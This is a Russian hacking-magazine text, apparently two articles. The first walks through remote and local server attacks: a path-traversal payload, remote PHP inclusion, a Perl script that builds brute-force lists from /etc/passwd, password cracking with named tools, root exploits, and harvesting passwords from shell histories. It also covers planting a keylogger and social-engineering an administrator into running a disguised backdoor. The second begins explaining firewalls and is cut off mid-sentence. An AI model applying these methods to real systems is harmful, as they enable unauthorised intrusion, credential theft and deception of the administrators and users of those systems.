|
||||
|
|
ВзломАтака интеллекта / Обзор удаленных и локальных атак
Грамотный взломщик никогда не ограничивается одной неудавшейся атакой. Он пытается найти конкретный подход к серверу. В большинстве случаев ему это удается. А все потому, что он знаком со большинством видов атак и последовательно перебирает их, пока, наконец, несчастный сервер не подчиниться заветной команде. Типичная ошибка начинающего взломщика заключается в том, что он настойчиво пытается атаковать сервер одним единственным способом (например, WWW-сканированием). Если у него ничего не выходит, злоумышленник ищет новую жертву. А зря, ведь можно было использовать другой вид нападения и в результате получить какие-нибудь права на машине. Число различных атак, которые можно применить к жертве, недалеко от нуля, поэтому придется в поте лица щупать машину на наличие крупных дырок. Все атаки начинаются с удаленного сбора информации. Сперва хакер не владеет никакими данными о хосте. Но постепенно запас знаний увеличивается, а в голове сетевого партизана появляются какие-то наметки. Выбрать вид нападения – еще то искусство. Сейчас я расскажу об основных удаленных атаках, а также о том, как их правильно осуществить. Первым и, пожалуй, самым излюбленным методом удаленного нападения является атака с применением эксплоита к уязвимому сервису. Но прежде чем атаковать этот уязвимый сервис, его еще необходимо обнаружить. А это не всегда просто сделать. Препятствия могут быть какими угодно – различного рода программы, защищающие тачку от сканирования портов, умные админы, подменяющие баннеры сервисов, настроенный (или частично настроенный) брандмауэр, который режет незванные пакеты. За мою недолгую сетевую жизнь мне приходилось сталкиваться с разными трудностями, но это еще не говорит о неуязвимости демона. Есть одна хакерская мудрость: лучшее сканирование – ручное сканирование :). Это частично так – скан вручную избавляет от негативного влияния различных антипортсканеров, установленных админом на сервере. Когда мне хочется найти сервер с уязвимым сервисом cvs и пробить его новым эксплоитом, я никогда не буду сканировать весь диапазон портов на машине. Зачем? Я просто выполню команду «telnet victim.com 2401» и проверю наличие демона на тачке. Затем бесшумно запущу сплоит и получу искомый шелл. Если даже сервис пропатчен, никаких следов я не оставил, посему обвинить меня в деструктивных действиях никому не удастся. Если принято решение сканировать сервер, делать это лучше с безопасного места. Довольно глупо пользоваться различными программами типа LANGuard несмотря на удобство. Если хочется, чтобы провайдер никогда не узнал о факте сканирования (не его, а уделенного сервера), запускай nmap в невидимом режиме на далеком рутшелле. Впрочем, LANGuard оправдывает себя, будучи запущенном на хакнутой Винде в терминальной сессии :). Бывает, что версия демона отличается от бажной. Тем не менее, стоит попробовать натравить эксплоит на машину, ибо некоторые особо активные сисадмы обожают подменять баннеры своих сервисов. Я уже писал о том, как отличить поддельный баннер от подлинного (XSpeZ OS4Hack), поэтому повторяться не буду. Использование эксплоита – классический взлом, но часто сетевому партизану не по зубам хакнуть сервер этим способом (к примеру, из-за фаервола). Тогда приходится прибегать к другим, менее благодарным способам взлома. Например, к сканированию web-скриптов. Поняв, что просканировать порты сервера не удается даже вручную, взломщик может обратить внимание на WWW-зону сервера. В 90% случаев порт 80 жертвы будет открытым, а все потому, что цель данного сервера – занятный web-проект, который вполне может содержать дырявые скрипты. В наше время встретить статический контент сайта очень сложно, поэтому у злоумышленника больше шансов на успех. Бывает, что первоклассный админ возомнит себя web-мастером и напишет такой скрипт, защита которого оставляет желать лучшего. Этим хакер и воспользуется! Однако он должен уметь быстро отличать бажный скрипт от нормального. В первую очередь нужно обращать внимание на параметры, переданные сценарию методом GET – такие скрипты сразу видно. Например, попробовать немного изменить значение опции на название системного файла. Только следует делать замену разумно. Допустим, присутствует параметр file, равный article1. Если попробовать модифицировать значение на что-нибудь типа «../../../../../etc/passwd%00», может улыбнуться удача. Ведь нулл-баг существует даже в последней версии Perl. В случае с PHP можно поэксплуатировать баги, характерные для этого интерпретатора. Если вдруг встретится опция page=blabla, можно замутить как открытие системного файла, так и cross-side-атаку. Для этого создается PHP-файл с любым кодом на другом сервере и передает ссылка на него в качестве параметра. При хорошем раскладе скрипт загрузится, а его содержимое будет выполнено на атакуемом сервере. Эта информация – лишь азы взлома через WWW. Хочешь узнать больше по хаку сценариев – читай статью про удаленное выполнение команд, а также подпишись на новости багтрак-лент. Если хакеру везет, он быстро находит уязвимые файлы. Но бывает, что все сценарии неуязвимы. В этом случае взломщик обязательно попробует просканировать web-сервер на наличие бажных скриптов. Здесь ему поможет обычный WWW-сканер, каких в инете развелось великое множество. От себя могу порекомендовать перловый скрипт cscan.pl (kamensk.net.ru/1/x/cscan.tar.gz), позволяющий сканить машины с любой *nix-консоли. Это удобно и безопасно одновременно. В архиве помимо сканера расположена база уязвимых сценариев (правда, она довольно старая и уже покрылась плесенью ;)). Ты можешь сказать, мол, сканировал я эти сервера и ничего, кроме чтения файлов, не добился. Действительно, никаких привилегий от просмотра содержимого /etc/passwd не поднять. Но это может послужить толчком к более действенному методу. Если взломщику частично повезло с WWW, то он пробует атаковать сервер брутфорсом. Конечно, ты слышал, что этот метод заключается в переборе пароля на определенный сервис. На первый взгляд покажется, что просто бессмысленно прогонять все варианты паролей через сеть. Но только на первый. Если удалось прочитать /etc/passwd, это уже первый шаг к победе, ведь известны все системные логины. Остается запустить брутфорсер и озадачить его перебором нескольких простых паролей на указанные логины. На самом деле, брутфорс – это целое искусство, которое постигается годами. Матерый хакер сразу чувствует, что пользователь lamer1 вообще не имеет пароля, а юзер lamer2 заходит под паролем qwerty. Лично я руководствуюсь несколькими правилами, когда прибегаю к брутфорсу. Во-первых, если /etc/passwd очень длинный и содержит множество аккаунтов, есть вероятность того, что пароль равен логину. И эта вероятность тем выше, чем больше записей в системе. Естественно, придется перебрать все строки файла и выбросить юзеров, которые не имеют шелла (зачем нам неполноценные аккаунты?), а затем составить списочек типа «login:login». После всего взломщик скормит этот увесистый список программе-брутфорсу. По доброте душевной я написал небольшой перловый сценарий, который умеет перегонять данные из /etc/passwd в базу для брутфорсера. Делает он это быстро и качественно, отбирая только валидные аккаунты. ЛИСТИНГ #!/usr/bin/perl $in=$ARGV[0]; $out=$ARGV[1]; ## Определим параметры скрипта exit print «Use $0 $in $out\n» unless ($out); open(IN,"$in"); open(OUT,"> $out"); while(<IN> ) { chomp; if (~/sh$/) { ## Запишем только валидные аккаунты ($u,@undef)=split ":"; print OUT «$u:$u\n»; ## В виде пары login:login } } close(IN); close(OUT); Что касается брутфорсера, могу привести тебе пример как под Винду, так и под *nix. Классическим софтом под Win32 является, конечно же, программа Brutus. Она умеет многое, но совсем не поддерживает прокси. Поэтому я люблю сводить Brutus с программой Sockscap и гнать трафик через безопасные соксы. Либо, как вариант, можно юзать Brutus на удаленной машине, соединившись с ней подручным терминальным клиентом. Юниксоидам понравится творение хакерской команды THC (thc.org) под названием hydra (http://thc.org/download.php?t=r&f=hydra-4.1-src.tar.gz). Этот брутфорс по возможностям даже опережает brutus, поскольку умеет перебирать аккаунты на маршрутниках cisco и по различным протоколам (vnc, https, netbios и т.п.). Что касается простых служб типа ftp и pop3, то многопоточная hydra тоже легко справится с задачей. Требуется лишь задать несколько главных (вордлист, хост, порт и название сервиса) и второстепенных (число потоков, логфайл, останов при подборе первого пароля, перебор пары login:login) параметров, и hydra отправится в бесконечный цикл :). Ничто не мешает оставить этот длительный процесс в покое и лишь периодически проверять результат работы программы. А что еще остается, если другие методы не помогли?.. Бывает, что админ защитил свой Web-ресурс динамическими изображениями. В этом случае софтварные брутфорсеры отдыхают. Придется прибегнуть к интеллектуальному, или, попросту, ручному, перебору. Если ты знаешь логин к ресурсу, можно подобрать пароль, каждый раз вводя новый код на изображении.Для облегчения работы можно использовать различные тулзы для браузеров, которые обеспечат автозаполнение неизменных полей. Случается так, что злоумышленнику не нужен шелл, а взлом ведется только для того, чтобы стереть машину с лица интернета. Такие атаки часто выполняются по заказу. DDoS относится к самым злосчастным атакам, за проведение которой могут оторвать конечности. Все из-за того, что весь перегнанный мусор оплачивает владелец сервера. А ему этого ой как не хочется делать :). У серьезных проектов существует своя служба безопасности (или abuse). Ее задача – распознавать атаки и сообщать владельцам сетей об их факте. В связи с этим, никто никогда не занимаются DDoS, используя сервера в сети своего провайдера. Чаще всего подобные злодеяния совершаются из консоли забугорных машин. Такие системы «заражены» специальными ботами, которые умеют обмениваться данными между собой. Скажем, захотел хакер убрать whitehouse.gov. Для этого он соединяется с зарутанным китайским сервером, командует в консоли «./ddos whitehouse.gov» и идет пить пиво. После запуска программа ./ddos заглядывает в свой конфиг, находит там пару сотен таких же «затроянненых» систем и шлет всем команду. В ней, как ты уже догадался, содержится принуждение убить сайт whitehouse.gov. Конечно, программа ./ddos – чистая абстракция, но принцип работы зомби-серверов именно такой. Помимо программ существуют злые IRC-боты и целые ботнеты, созданные для того, чтобы останавливать работу серверов любой мощности. Если ботовод заставит на определенном канале флудить какую-нибудь жертву, все боты разом начнут слать сетевые пакеты на различные сервисы, в результате чего сервер просто не справится с их обработкой. Для справки, число таких ботов может колебаться от пары сотен до нескольких десятков тысяч на одном канале. За более подробной информацией по DoS-атакам, обращайся к тематической статье в этом номере. В случае успешно проведенной удаленной атаки, взломщик получит какие-нибудь системные привилегии. Именно этот исход можно считать удачным, поскольку за удаленной атакой всегда следует локальная. Настало время понижать добытые права до магического уида 0, перед которым преклонятся даже самые защищенные бинарники ;). Но получить рута очень сложно (особенно в защищенных системах), поэтому постоянно приходится включать соображаловку и быть впереди админа хотя бы на один шаг. Это очень непросто, но возможно. Самый первый и легкий путь локального взлома – применение эксплоита. Правда, вместо предварительного сканирования портов придется найти бажный суидный бинарник либо дырочку в ядре, а только потом подыскивать нужный сплоит. Проблемы при использовании этой атаки могут быть самыми разными. Первая – отсутствие багов. Если система свежая, даже в случае существования рабочего эксплоита простому смертному его не достать. Бывает, что даже в убогих системах админы патчат ядро и нещадно сносят все уязвимые бинарники (либо снимают с них суид-бит). И, наконец, использовать эксплоит проблематично в отсутствие рабочего компилятора (об этой ситуации я расскажу чуть ниже). Давай определимся, с каких шагов лучше всего начинать атаку. Как только получен нормальный шелл, нужно выполнить ряд команд, чтобы определить дальнейшую тактику взлома. Во-первых, следует набрать uname –a и узнать версию операционки. Если это Linux, можно вывести на печать файл /etc/*-release и посмотреть конечного производителя системы. В случае если взломщик наткнулся на новую FreeBAS, ему стоит забыть об эксплоитах. На фришные сервисы рабочих новинок не было очень давно. А какую-нибудь SunOS, наоборот, очень легко взломать, эксплоиты есть и для последних релизов. К примеру, после вывода uname –a bash показал, что система вертится на ядре 2.4.20-smp. Это означает, что хакер поимел хорошую двухпроцессорную тачку. Только вот ядро у этой машины не такое уж и хорошее. Можно провести атаку эксплоитом isec-ptrace.c и быстро получить рутовые привилегии. Для этого даже не нужен псевдотерминал, который настоятельно требовали предыдущие эксплоиты ptrace-уязвимости. Что касается Solaris, то ее ядро пробивается с одного удара. Существует сплоит, позволяющий подгрузить модуль с произвольным кодом. Подгрузка, как ты уже догадался, производится от обычных юзерских прав, которые ты получил после успешной удаленной атаки. В случае, когда встречается ядрышко постабильнее, например, 2.6.7 или 2.4.20, но с префиксом –grsecure, можно не питать надежду на то, что кернел возьмется обычным ptrace-эксплойтом. В такой ситуации хакер даже не тратит времени на поиски эксплоита, ибо знает, что патчи и свежие релизы уже не содержат старых багов. Бывает, что на машине вертится секьюрное ядро, но также очень бажные бинарники. Например, я встречался с Linux RedHat 7.3 с патчем от grsecurity, но уязвимым приложением /usr/sbin/sudo. При таком раскладе я желал получить рута после применения эксплоита hudo.c, но обломался. Дело в том, что сервер, являлся хостингом, поэтому всем юзерам прикрывался доступ к /usr/bin/gcc. Я оценил защиту админа, затем скомпилил эксплоит на другом пингвине и перетащил бинарник на хостинговую машину. Оставалось запустить приложение и наслаждаться рутовыми правами. Думаю, смысл ты уловил. Если на сервере есть уязвимые бинарники или старое ядро – ноги в руки и бегом на сайты по безопасности за свежими (или чуть протухшими) эксплоитами. На машине свежая система и напрочь отсутствуют суидные приложения? Тогда придется попробовать другой способ локального нападения. Другой метод повышения привилегий заключается в поиске секретной информации. Нет, совсем необязательно отыскивать различные документы, нужно просто определить наличие в системе парольных хэшей. Часто пароли встречаются в файлах .htpasswd, они находятся в web-зоне. Поиск осуществляется командой locate .htpasswd. Бывает, что документ не только открыт на чтение, но и содержит в себе рутовый хэш, который, легко расшифровать с помощью John The Ripper. Помимо списка .htpasswd можно запросить конфиги .htaccess, а затем прочитать их. Бывает, что юзер сохраняет пароли в файле с произвольным именем. Последнее легко узнать по значению директивы UserFile в httpd.conf. Конфиги от Web – это лишь верхушка айсберга. Настоящая сила находится в логах! Если поиск по Web ничего не дал, стоит попробовать поискать читабельные файлы .bash_history и.mysql_history. В первом из них можно обнаружить пароль для суперпользователя. Случается, что администратор написал неверную команду su (sy или si), а затем вслепую вбил рутовый пароль. Пароль, конечно же, сохранится в логе команд. Находка для хакера, не так ли? Кроме этого, возможен случай, при котором администратор логинится к MySQL, используя системный пароль. Таких случаев очень много, наверное, каждый третий локальный взлом происходит благодаря хорошему урожаю из лога команд :). Теперь поговорим о MySQL. Доступ к базе – это тоже своего рода дополнительные права. Ведь в БД могут содержаться таблицы с кредитными картами, аккаунтами на какие-либо сервисы и т.п. Слюнки потекли? Еще бы :). Чтобы достать пароль от базы, особо париться не надо. В первую очередь нужно изучить PHP/CGI-скрипты на предмет конфигурационных файлов. Например, часто переменные доступа записываются в конфиг include.php.inc либо mysql.inc. Второй способ узнать пароль – прочитать .mysql_history. Очень часто администратор светит пассворд в чистом виде после выполнения команды «blabla set password=password(„пароль“)». Наконец, если не повезло, можно заняться локальным брутфорсом: залить на машину hydra и прогнать вордлист для сервиса mysql. Ведь, как известно, надежда умирает последней :). Итак, настал тот заветный момент, когда получены абсолютные привилегии. Но на этом приключения не закончены. Обычно после взлома хакер определяется с дальнейшей тактикой: либо он троянит машину и «ложится на дно», либо атакует дальше в надежде заполучить более вкусный кусок, чем права рута. Я говорю о взломе локальной сети, которой владеть куда интереснее, чем обитать на маршрутизаторе. Но для того чтобы продвинуться вперед, взломщику необходимо узнать пароли на других серверах. Это проще всего сделать двумя способами: 1. Найти информацию об SSH-соединениях. Эти данные находятся в файле ~user/.ssh/.known_hosts. Пропарсив этот конфиг, можно приконнектиться на любой хост из списка. Пароль на соединение с большой вероятностью совпадет с системным, который можно без проблем расшифровать. А если у юзера имеются SSH-ключики, то с помощью простого суида взломщик способен соединиться с узлом без дополнительной авторизации. Правда, следует помнить, что в случае защиты ключа секретной фразой, ее можно легко расшифровать путем брутфорса по словарному листу. В этом злоумышленнику поможет утилита SSH Crack (http://www.thc.org/root/tools/thc_ssh_crack.c). 2. Установить на сервер снифер или клавиатурный шпион. С помощью сниффинга можно легко отловить пароль на FTP– или POP3-сервис, а затем попробовать аккаунт в качестве системного. С помощью специального модуля можно перехватить все консольные команды, включая пароли на SSH. Самый лучший клавиатурный логгер – vlogger от THC (http://www.thc.org/download.php?t=r&f=vlogger-2.1.1.tar.gz). После загрузки модуль стирает себя из списка процессов, а затем работает в одном из двух режимов: логирование всего ввода или запись паролей (smart mode). В любом случае взломщику удастся нарыть достаточно информации, которой хватит для взлома всех станций локальной сети! Вот, собственно, и все основные удаленные и локальные атаки. Обычно именно эти методы и приносят взломщику успех. Ведь он точно знает, что брутфорс намного опаснее, чем сканирование портов, но когда ничего не остается делать, приходится довольствоваться самыми неблагодарными способами взлома. Матерый взломщик с помощью пары команд определит, что система не имеет тривиальных уязвимостей и получить рута в ней будет очень непростым делом. Но после двухчасового поиска злоумышленник быстро найдет пароль суперпользователя, записанный в plain-тексте. Если ты думаешь, что у крутых хакеров дар определять методы взлома, то ошибаешься. В свое время они были скрипткиди, несколько лет, набравшись опыта, человек постиг искусство взлома. Существуют альтернативные способы взлома сервера. Один из них – социальная инженерия. Ее можно использовать как для удаленного, так и для локального взлома. Допустим, ты знаешь аську админа, и тебе позарез понадобился пароль на его сервер :). Для упрощения задачи предположим, что логин тебе известен. Можно постучаться к админу в асю и интеллигентно попросить пароль :). Правда, скорее всего, тебя пошлют куда подальше. А вот если ты начнешь издалека, подружишься с ним и попросишь помочь с настройкой какого-нибудь конфига, то это другое дело. Скажи, что даешь ему шелл на свою тачку, затем прописывай ему /usr/bin/xpasswd в качестве интерпретатора и устанавливай пустой пароль. Теперь проси его залогиниться. Естественно, что админ попросит тебе поставить нормальный шелл, но ты скажешь, чтобы он установил себе пароль самостоятельно. С большой вероятностью сисадм установит свой родной пароль, ничего не заподозрив (ведь пароли-то криптуются!). Думаю, не стоит говорить, что xpasswd – это ранее написанный тобой скрипт, содержащий в себе логирование пароля, а затем его установку в качестве системного. Если говорить о применении НЛП к локальному взлому, то на ум приходит одна интересная идея. Проверь, есть ли на сервере антивирус. Если есть, посмотри его название и версию. Теперь пиши админу письмо, мол, найден феноменальный вирус, и его очень рекомендуется отправить на экспертизу. Чтобы подтвердить отправку, запустите файлик /tmp/antivirus-accept и примите все соглашения. Подпиши письмо антивирусом, чтобы админ наверняка поверил в важность этого мыла. Сам файл в /tmp будет представлять собой скомпилированный бэкдор, создающий суидный bash. Вот и все. Если ты не коммуникабельный человек, лучше тебе не лезть в социальную инженерию, а ограничиться другими методами взлома. Как ты знаешь, брутфорс может быть актуален и для локальных атак. Если ты находишь парольный хэш, это еще не означает, что ты получил абсолютные права. Перед тем как праздновать победу, нужно расшифровать пароль. Практически всегда для зашифровки используется необратимый алгоритм, поэтому и приходится взламывать обычным перебором. Никто не принуждает тебя делать это вручную, ибо в инете можно найти множество автоматизированных переборщиков. 1. John The Ripper. Универсальный локальный брутфорсер, поддерживающий алгоритмы DES, MD5, OpenBSD BlowFISH и некоторые другие. Большинство паролей зашифровано вышеперечисленными алгоритмами, поэтому Джоник без труда расшифрует пароль, если, конечно, имеется хороший вордлист и достаточно терпения, ведь перебор – процесс очень медленный. Скачать Джона можно отсюда: http://www.openwall.com/john/a/john-16w.zip. 2. MD5Inside. Представь ситуацию: ты отыскал пароль на доступ к БД, залез туда и наткнулся на… все аккаунты для mail.ru :). Вот только досадно, что вместо паролей представлена последовательность заглавных букв и всевозможных цифр. Поздравляю, ты только что обнаружил MD5-хэши, но в шестнадцатеричной форме. К сожалению, Джоник не сможет сломать этот пароль, однако если ты скачаешь программу MD5Inside, то наверняка добьешься успеха. Сама софтина имеет графическую оболочку, так что с ней разберется даже полный ламер :). Скорость перебора очень высока из-за использования тредов. Бери полезную тулзу с сайта NSD (http://nsd.ru/soft/1/md5inside_1_0.rar) и радуйся жизни! 3. MD5Crack. Софтина похожа на MD5Inside. Она даже служит для расшифровки аналогичных паролей. Но MD5Crack (http://mdcrack.df.ru/download/mdcrack.exe) является полностью консольным приложением. К тому же, программа умеет искать коллизию, то есть пересечения двух заведомо разных паролей в одном хэше. Смотри, лопоухий юзер мог установить себе пароль «GrW4M#1331337», но он даже не догадывается, что его элитный пассворд пересекается с простой последовательностью «1234». Умная тулза быстро найдет такое пересечение, расшифровав пароль за несколько секунд! Если удалось подобрать пароль для FTP, грех не попробовать его для SSH. Многие админы используют /etc/shadow для всех сервисов, поэтому возможно, что пароли совпадут. Можно просмотреть все системные логи в /var/log и найти там пароли. Такое случается, если на машине вертится демон радиуса с полным дебагом. Не поленись и пропарси access_log от Apache, если таковой имеется. Дело в том, что все пароли, переданные методом GET, будут записаны в этот журнал. Когда админ запретил использование команды locate или не установил ее на сервер вообще, используй в качестве поисковой команды бинарник find. Если ты фанат консольных брутфорсов, можешь скачать Джоник под любую платформу *nix. Бери его по ссылке: http://www.openwall.com/john/a/john-1.6.tar.gz. Обязательно посети ресурс http://www.thc.org и ознакомься со всеми релизами группы. Ребята пишут очень интересные вещи. Пароль для MySQL можно найти в .bash_history, потому что админы часто вбивают его прямо в командной строке (mysql –h хост –u user –pПароль).Если за твоей сессией не закреплен псевдотерминал (попросту говоря, ты имеешь обычный WWW-шелл), то для соединения с базой используй команду mysql –pпароль –e ‘select * from table’. Все методы взлома даны только для ознакомления. За применение материала в противозаконных целях автор и редакция ответственности не несут. При желании брутфорс можно написать самостоятельно. Достаточно знать протокол обмена (между клиентом и сервером) и немного владеть языком программирования. Стенка всмятку / Обход брандмауэров снаружи и изнутри
Большинство корпоративных сетей ограждено по периметру недемократично настроенными брандмауэрами, защищающими внутренних пользователей от самих себя и отпугивающими начинающих хакеров. Между тем, для опытного взломщика даже качественный и грамотно настроенный брандмауэр – не преграда. Брандмауэр (он же фаервол) в общем случае представляет собой совокупность систем, обеспечивающих надлежащий уровень разграничения доступа, достигаемый путем управления проходящим трафиком по более или менее гибкому набору критериев (правил поведения). Короче говоря, брандмауэр пропускает только ту часть трафика, которая явно разрешена администратором и блокирует все остальное. На рынке доминируют два типа брандмауэров – пакетные фильтры, также называемые шлюзами фильтрации пакетов (packet filter gateway), и программные прокси (application proxy). Примером первого типа является Firewall от компании Check Point, а второго – Microsoft Proxy Server. Пакетные фильтры полностью прозрачны для пользователей и весьма производительны, однако недостаточно надежны. Фактически они представляют собой разновидность маршрутизаторов, принимающих пакеты как извне, так и изнутри сети, и решающих, как с ними поступить – пропустить дальше или уничтожить, при необходимости уведомив отправителя, что его пакет сдох. Большинство брандмауэров этого типа работает на IP-уровне, причем полнота поддержки IP-протокола и качество фильтрации оставляют желать лучшего, поэтому атакующий может легко их обмануть. На домашних компьютерах такие брандмауэры еще имеют смысл, но при наличии даже плохенького маршрутизатора они лишь удорожают систему, ничего не давая взамен, так как те же самые правила фильтрации пакетов можно задать и на маршрутизаторе! Программные прокси представляют собой обычные прокси-сервера, прослушивающие заданные порты (например, 25, 110, 80) и поддерживающие взаимодействие с заранее оговоренным перечнем сетевых сервисов. В отличие от фильтров, передающих IP-пакеты «как есть», прокси самостоятельно собирают TCP-пакеты, выкусывают из них пользовательские данные, наклеивают на них новый заголовок и вновь разбирают полученный пакет на IP, при необходимости осуществляя трансляцию адресов. Если брандмауэр не содержит ошибок, обмануть его на сетевом уровне уже не удастся; к тому же, он скрывает от атакующего структуру внутренней сети – снаружи остается лишь брандмауэр. А для достижения наивысшей защищенности администратор может организовать на брандмауэре дополнительные процедуры авторизации и аутентификации, «набрасывающиеся» на противника еще на дальних рубежах обороны. Это были достоинства. Что же касается недостатков, то программные прокси ограничивают пользователей в выборе приложений. Они работают намного медленнее пакетных фильтров и здорово снижают производительность (особенно на быстрых каналах). Брандмауэры обоих типов обычно включают в себя более или менее урезанную версию системы определения вторжений (Intruder Detection System, IDS), анализирующую характер сетевых запросов и выявляющую потенциально опасные действия – обращение к несуществующим портам (характерно для сканирования), пакеты с TTL, равным единице, (характерно для трассировки) и т.д. Все это существенно затрудняет атаку, и хакеру приходится действовать очень осторожно, поскольку любой неверный шаг тут же выдаст его с поторохами. Однако интеллектуальность интегрированных систем распознавания достаточна невелика, и большинство уважающих себя администраторов перекладывает эту задачу на плечи специализированных пакетов, таких, как Real Secure от Internet Security System. В зависимости от конфигурации сети брандмауэр может быть установлен на выделенный компьютер или может делить системные ресурсы с кем-нибудь еще. Персональные брандмауэры, широко распространенные в мире Windows, в подавляющем большинстве случаев устанавливаются непосредственно на сам защищаемый компьютер. Если этот пакетный фильтр реализован без ошибок, то защищенность системы ничуть не страдает и атаковать ее так же сложно, как и на выделенном брандмауэре. Локальные программные прокси защищают компьютер лишь от некоторых типов атак (например, блокируют засылку троянов через IE), оставляя систему полностью открытой. В UNIX-like-системах пакетный фильтр присутствует изначально, а в штатный комплект поставки входит большое количество разнообразных прокси-серверов, поэтому приобретать дополнительное программное обеспечение не нужно. Пакетные фильтры в общем случае позволяют закрывать все входящие/исходящие TCP-порты, полностью или частично блокировать некоторые протоколы (например, ICMP), препятствовать установке соединений с данными IP-адресами и т.д. Правильно сконфигурированная сеть должна состоять, по меньшей мере, из двух зон: внутренней корпоративной сети (corporative network), огражденной брандмауэром и населенной рабочими станциями, сетевыми принтерами, intranet-серверами, серверами баз данных и прочими ресурсами подобного типа; а также демилитаризованной зоны (demilitarized zone, или, сокращенно, DMZ), в которой расположены публичные сервера, доступные из интернета. Брандмауэр, настроенный на наиболее драконический уровень защищенности, должен: – закрывать все порты, кроме тех, что принадлежат публичным сетевым службам (HTTP, FTP, SMTP и т.д.); – пакеты, приходящие на заданный порт, отправлять тем и только тем узлам, на которых установлены соответствующие службы (например, если WWW-сервер расположен на узле А, а FTP-сервер на узле B, то пакет, направленный на 80 порт узла B, должен блокироваться брандмауэром); – блокировать входящие соединения из внешней сети, направленные в корпоративную сеть (правда, в этом случае пользователи сети не смогут работать с внешними FTP-серверами в активном режиме); – блокировать исходящие соединения из DMZ-зоны, направленные во внутреннюю сеть (исключая FTP– и DNS-сервера, которым исходящие соединения необходимы); – блокировать входящие соединения из DMZ-зоны, направленные во внутреннюю сеть (если этого не сделать, то атакующий, захвативший управление одним из публичных серверов, беспрепятственно проникнет и в корпоративную сеть). – блокировать входящие соединения в DMZ-зону из внешней сети по служебным протоколам, часто использующимся для атаки (например, ICMP; правда, полное блокирование ICMP создает большие проблемы, в частности, перестает работать ping и становится невозможным автоматическое определение наиболее предпочтительного MTU); – блокировать входящие/исходящие соединения с портами и/или IP-адресами внешней сети, заданными администратором. Фактически роль брандмауэра сводится к ограждению корпоративной сети от всяких любопытствующих, блуждающих по просторам инета. Тем не менее, прочность этого ограждения только кажущаяся. Если клиент корпоративной сети использует уязвимую версию браузера или клиента электронной почты (а большая часть программного обеспечения уязвима!), атакующему достаточно заманить его на троянизированную WEB-страничку или послать ему письмо с вирусом внутри, и через короткое время локальная сеть окажется поражена. Даже если исходящие соединения из корпоративной сети запрещены, shell-код сможет воспользоваться уже установленным TCP-соединением, через которое он был заброшен на атакованный узел, передавая хакеру управление удаленной системой. Брандмауэр может и сам являться объектом атаки, ведь он, как и всякая сложная программа, не обходится без дыр и уязвимостей. Дыры в брандмауэрах обнаруживаются практически каждый год и далеко не сразу затыкаются (особенно если брандмауэр реализован на «железном» уровне). Забавно, но плохой брандмауэр не только не увеличивает, но даже ухудшает защищенность системы (в первую очередь это относится к персональным брандмауэрам, популярность которых в последнее время необычайно высока). Залогом успешной атаки является своевременное обнаружение и идентификация брандмауэра (или, в общем случае, IDS, но в контексте настоящей статьи мы будем исходить из того, что она совмещена с брандмауэром). Большинство брандмауэров отбрасывают пакеты с истечением TTL (Time To Live – время жизни), блокируя тем самым трассировку маршрута, чем разоблачают себя. Аналогичным образом поступают и некоторые маршрутизаторы, однако, как уже говорилось выше, между маршрутизатором и пакетным фильтром нет принципиальной разницы. Отслеживание маршрута обычно осуществляется утилитой traceroute, поддерживающей трассировку через протоколы ICMP и UDP, причем ICMP блокируется гораздо чаще. Выбрав узел, заведомо защищенный брандмауэром (например, www.intel.ru), попробуем отследить к нему маршрут командой traceroute –I wwww.intel.ru. $traceroute –I wwww.intel.ru Трассировка маршрута к bouncer.glb.intel.com [198.175.98.50] с максимальным числом прыжков 30: 1 1352 ms 150 ms 150 ms 62.183.0.180 2 140 ms 150 ms 140 ms 62.183.0.220 3 140 ms 140 ms 130 ms 217.106.16.52 4 200 ms 190 ms 191 ms aksai-bbn0-po2-2.rt-comm.ru [217.106.7.25] 5 190 ms 211 ms 210 ms msk-bbn0-po1-3.rt-comm.ru [217.106.7.93] 6 200 ms 190 ms 210 ms spb-bbn0-po8-1.rt-comm.ru [217.106.6.230] 7 190 ms 180 ms 201 ms stockholm-bgw0-po0-3-0-0.rt-comm.ru [217.106.7.30] 8 180 ms 191 ms 190 ms POS4-0.GW7.STK3.ALTER.NET [146.188.68.149] 9 190 ms 191 ms 190 ms 146.188.5.33 10 190 ms 190 ms 200 ms 146.188.11.230 11 311 ms 310 ms 311 ms 146.188.5.197 12 291 ms 310 ms 301 ms so-0-0-0.IL1.DCA6.ALTER.NET [146.188.13.33] 13 381 ms 370 ms 371 ms 152.63.1.137 14 371 ms 450 ms 451 ms 152.63.107.150 15 381 ms 451 ms 450 ms 152.63.107.105 16 370 ms 461 ms 451 ms 152.63.106.33 17 361 ms 380 ms 371 ms 157.130.180.186 18 370 ms 381 ms 441 ms 192.198.138.68 19 * * * Превышен интервал ожидания для запроса. 20 * * * Превышен интервал ожидания для запроса. Смотри: трассировка доходит до узла 192.198.138.68, а затем умирает, что указывает либо на брандмауэр, либо на недемократичный маршрутизатор. Чуть позже мы покажем, как можно проникнуть сквозь него, а пока выберем для трассировки другой узел, например, www.zenon.ru $traceroute –I www.zenon.ru Трассировка маршрута к distributed.zenon.net [195.2.91.103] с максимальным числом прыжков 30: 1 2444 ms 1632 ms 1642 ms 62.183.0.180 2 1923 ms 1632 ms 1823 ms 62.183.0.220 3 1632 ms 1603 ms 1852 ms 217.106.16.52 4 1693 ms 1532 ms 1302 ms aksai-bbn0-po2-2.rt-comm.ru [217.106.7.25] 5 1642 ms 1603 ms 1642 ms 217.106.7.93 6 1562 ms 1853 ms 1762 ms msk-bgw1-ge0-3-0-0.rt-comm.ru [217.106.7.194] 7 1462 ms 411 ms 180 ms mow-b1-pos1-2.telia.net [213.248.99.89] 8 170 ms 180 ms 160 ms mow-b2-geth2-0.telia.net [213.248.101.18] 9 160 ms 160 ms 170 ms 213.248.78.178 10 160 ms 151 ms 180 ms 62.113.112.67 11 181 ms 160 ms 170 ms css-rus2.zenon.net [195.2.91.103] Трассировка завершена. На этот раз трассировка проходит нормально. Выходит, что никакого брандмауэра вокруг zenon'а нет? Очень может быть, но для уверенного ответа нам требуется дополнительная информация. Узел 195.2.91.193 принадлежит сети класса С (три старших бита IP-адреса равны 110), и, если эта сеть не защищена брандмауэром, большинство ее узлов должно откликаться на ping, что в данном случае и происходит. Сканирование выявляет 65 открытых адресов. Следовательно, либо маршрутизатора здесь нет, либо он беспрепятственно пропускает наш ping. При желании можно попробовать просканировать порты, однако, во-первых, наличие открытых портов еще ни о чем не говорит (быть может, брандмауэр блокирует лишь один порт, но самый нужный, например, защищает дырявый RPC от посягательств извне), а, во-вторых, при сканировании хакеру будет трудно остаться незамеченным. С другой стороны, порты сканируют все кому не лень, и администраторы уже давно не обращают на это внимания. Утилита nmap позволяет обнаруживать некоторые из брандмауэров, устанавливая статут порта во 